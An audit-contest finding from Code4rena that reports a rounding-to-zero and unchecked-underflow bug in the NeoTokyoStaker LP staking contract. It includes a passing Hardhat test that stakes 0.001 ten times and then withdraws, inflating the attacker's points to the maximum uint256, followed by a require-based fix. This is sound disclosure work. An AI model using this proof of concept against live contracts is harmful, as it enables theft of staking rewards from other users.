Platform: Code4rena
Start Date: 08/03/2023
Pot Size: $60,500 USDC
Total HM: 2
Participants: 123
Period: 7 days
Judge: hansfriese
Id: 220
League: ETH
Rank: 51/123
Findings: 1
Award: $154.74
๐ Selected for report: 0
๐ Solo Findings: 0
๐ Selected for report: rokso
Also found by: 0x52, 0xnev, ABA, BPZ, DadeKuma, Haipls, J4de, Jeiwan, Josiah, Krace, LegendFenGuin, Lirios, MadWookie, RaymondFam, Ruhum, Toshii, UdarTeam, aashar, ak1, anodaram, auditor0517, carlitox477, cccz, jekapi, juancito, kaden, kenzo, minhquanym, nobody2018, rbserver, rokso, ulqiorra
154.74 USDC - $154.74
https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1154-L1164 https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1622-L1631
Currently _stakeLP
function calculates the points
this way:
contracts/staking/NeoTokyoStaker.sol 1155: uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
The whole accounting logic:
unchecked { uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR; // Update the caller's LP token stake. stakerLPPosition[msg.sender].timelockEndTime = block.timestamp + timelockDuration; stakerLPPosition[msg.sender].amount += amount; stakerLPPosition[msg.sender].points += points; // Update the pool point weights for rewards. pool.totalPoints += points; }
Everything is fine except the points
value. The calculation is implemented this way:
If someone tries to stake 0.001
which is 1e15
the current calculation will be:
a = (1e15 * 100) => 1e17
b = (a / 1e18) => 1e17 / 1e18 => 0
This calculation will be rounded to 0 always:
stakerLPPosition[msg.sender].points += 0
.
ะขะพ prevent the rounding amount
should be at least 1e16
, so this can be easily spotted by malicious user and can stake 10 times 0.001
for minimum period of 30 days, which will make his amount to be 1e16
After this values are:
stakerLPPosition[msg.sender].amount = 1e16
stakeLPPosition[msg.sender].points = 0
Problems come when this user now wants to withdraw his position, calculations are the same way as we mentioned above:
unchecked { uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR; // Update the caller's LP token stake. lpPosition.amount -= amount; lpPosition.points -= points; // Update the pool point weights for rewards. pool.totalPoints -= points; }
This time points
will not be rounded to 0, instead the calculation will behave as intended, means that the calculated points
will be:
points = 1e16 * 100 / 1e18 * 100 / 100
=> 1e18 / 1e18
=> 1
Because the formula is in unchecked
block, 0 - 1
will give type(uint256).max
and the current points
of user will be type(uint256).max
NOTE: If he is the first one pool.totalPoints
also will be that much.
Assuming that the user will stake for minimum 30 days, for this exploit he should wait 10 * 30 days = 300 days.
The following test passes:
it.only('Get max amount of points', async () => { // Configure the LP token contract address on the staker. await NTStaking.connect(owner.signer).configureLP(LPToken.address); let priorBlockNumber = await ethers.provider.getBlockNumber(); let priorBlock = await ethers.provider.getBlock(priorBlockNumber); aliceStakeTime = priorBlock.timestamp; // Stake 0.001, 10 times for(let i = 0; i < 10; i++) { await NTStaking.connect(alice.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS['30'], ethers.utils.parseEther('0.001'), //1e15 0, 0 ); } let alicePosition = await NTStaking.getStakerPositions(alice.address); alicePosition.stakedLPPosition.amount.should.be.equal( ethers.utils.parseEther('0.01') // 1e16 ); alicePosition.stakedLPPosition.points.should.be.equal(0); // points = 0 await ethers.provider.send('evm_setNextBlockTimestamp', [ aliceStakeTime + ((60 * 60 * 24 * 30) * 10) // for every stake 30 days making it 10 * 30 = 300 days ]); let aliceInitialLpBalance = await LPToken.balanceOf(alice.address); await NTStaking.connect(alice.signer).withdraw( ASSETS.LP.id, ethers.utils.parseEther('0.01') ); let aliceLpBalance = await LPToken.balanceOf(alice.address); aliceLpBalance.sub(aliceInitialLpBalance).should.be.equal( ethers.utils.parseEther('0.01') ); alicePosition = await NTStaking.getStakerPositions(alice.address); // Alice now has MaxUint256 amount of points alicePosition.stakedLPPosition.points.should.be.equal( ethers.constants.MaxUint256 ) });
Testing BYTES 2.0 & Neo Tokyo Staker with example configuration with staked LP tokens โ Get max amount of points (347ms) 1 passing (8s)
Manual, Jest
Every time before substracting in unchecked
block make sure that the calculation will not underflow and the same way will not overflow.
require(a >= b); c = a - b;
#0 - c4-judge
2023-03-16T05:56:35Z
hansfriese marked the issue as satisfactory
#1 - c4-judge
2023-03-16T05:56:45Z
hansfriese marked the issue as duplicate of #450
#2 - c4-judge
2023-03-17T01:09:07Z
hansfriese marked the issue as duplicate of #261